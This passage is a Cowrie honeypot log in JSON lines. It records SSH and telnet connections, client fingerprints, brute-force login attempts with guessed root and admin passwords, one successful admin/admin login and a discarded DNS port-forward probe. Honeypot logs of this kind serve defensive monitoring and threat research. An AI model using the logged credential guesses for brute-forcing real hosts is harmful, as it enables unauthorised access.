{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:36.554421Z","src_ip":"43.130.16.4","session":"720694826f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54730,"dst_ip":"10.17.0.5","dst_port":23,"session":"445469ce999e","protocol":"telnet","message":"New connection: 192.119.13.58:54730 (10.17.0.5:23) [session: 445469ce999e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:48.862640Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":48036,"dst_ip":"10.17.0.5","dst_port":22,"session":"f990eb672215","protocol":"ssh","message":"New connection: 147.45.197.250:48036 (10.17.0.5:22) [session: f990eb672215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:53.122342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:53.127171Z","src_ip":"147.45.197.250","session":"f990eb672215","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:53.216833Z","src_ip":"147.45.197.250","session":"f990eb672215","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135246","message":"login attempt [root/135246] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:53.486177Z","src_ip":"147.45.197.250","session":"f990eb672215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:54.579142Z","src_ip":"147.45.197.250","session":"f990eb672215","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":53252,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2822ed21c15","protocol":"ssh","message":"New connection: 87.251.64.176:53252 (10.17.0.5:22) [session: d2822ed21c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:56.500771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:56.505781Z","src_ip":"87.251.64.176","session":"d2822ed21c15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:56.604854Z","src_ip":"87.251.64.176","session":"d2822ed21c15","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:56.895227Z","src_ip":"87.251.64.176","session":"d2822ed21c15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:56.996006Z","session":"d2822ed21c15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:57.095510Z","src_ip":"87.251.64.176","session":"d2822ed21c15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:57.195832Z","src_ip":"87.251.64.176","session":"d2822ed21c15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57990,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef142a7910f9","protocol":"telnet","message":"New connection: 192.119.13.58:57990 (10.17.0.5:23) [session: ef142a7910f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:02.878376Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":63501,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c341d4abe63","protocol":"ssh","message":"New connection: 103.219.170.37:63501 (159.203.135.109:22) [session: 7c341d4abe63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:04.216572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:04.221743Z","src_ip":"103.219.170.37","session":"7c341d4abe63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:04.309579Z","src_ip":"103.219.170.37","session":"7c341d4abe63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3e","message":"login attempt [root/1qaz2wsx3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:04.556675Z","src_ip":"103.219.170.37","session":"7c341d4abe63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:05.645540Z","src_ip":"103.219.170.37","session":"7c341d4abe63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45144,"dst_ip":"10.17.0.5","dst_port":23,"session":"7902fcf25942","protocol":"telnet","message":"New connection: 192.119.13.58:45144 (10.17.0.5:23) [session: 7902fcf25942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:09.039025Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":46262,"dst_ip":"159.203.135.109","dst_port":22,"session":"55ca63965cdc","protocol":"ssh","message":"New connection: 43.173.89.56:46262 (159.203.135.109:22) [session: 55ca63965cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:17.022960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:17.027177Z","src_ip":"43.173.89.56","session":"55ca63965cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:17.094939Z","src_ip":"43.173.89.56","session":"55ca63965cdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"261979","message":"login attempt [root/261979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:17.397854Z","src_ip":"43.173.89.56","session":"55ca63965cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":37586,"dst_ip":"159.203.135.109","dst_port":22,"session":"64bc8690817e","protocol":"ssh","message":"New connection: 87.251.79.125:37586 (159.203.135.109:22) [session: 64bc8690817e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:18.453482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:18.458578Z","src_ip":"87.251.79.125","session":"64bc8690817e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:18.469514Z","src_ip":"43.173.89.56","session":"55ca63965cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:18.533502Z","src_ip":"87.251.79.125","session":"64bc8690817e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dolphin","message":"login attempt [root/dolphin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:18.747030Z","src_ip":"87.251.79.125","session":"64bc8690817e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:19.820401Z","src_ip":"87.251.79.125","session":"64bc8690817e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.67472267150879,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:28.537235Z","src_ip":"192.119.13.58","session":"445469ce999e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":60894,"dst_ip":"159.203.135.109","dst_port":22,"session":"f713c13845eb","protocol":"ssh","message":"New connection: 43.153.39.191:60894 (159.203.135.109:22) [session: f713c13845eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:33.766653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:33.772299Z","src_ip":"43.153.39.191","session":"f713c13845eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:33.839552Z","src_ip":"43.153.39.191","session":"f713c13845eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nitesh","message":"login attempt [root/nitesh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:34.142648Z","src_ip":"43.153.39.191","session":"f713c13845eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00119209289551,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:34.599132Z","src_ip":"139.28.49.249","session":"2bd3c2ef9a88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:35.214124Z","src_ip":"43.153.39.191","session":"f713c13845eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":60972,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4355780ec6a","protocol":"ssh","message":"New connection: 185.236.22.41:60972 (159.203.135.109:22) [session: b4355780ec6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:41.464070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:41.469322Z","src_ip":"185.236.22.41","session":"b4355780ec6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:41.593961Z","src_ip":"185.236.22.41","session":"b4355780ec6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"strannik","message":"login attempt [root/strannik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:41.966742Z","src_ip":"185.236.22.41","session":"b4355780ec6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":51030,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae91ed6f1a07","protocol":"ssh","message":"New connection: 43.130.16.4:51030 (159.203.135.109:22) [session: ae91ed6f1a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:42.372138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:23:42.377548Z","src_ip":"43.130.16.4","session":"ae91ed6f1a07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr"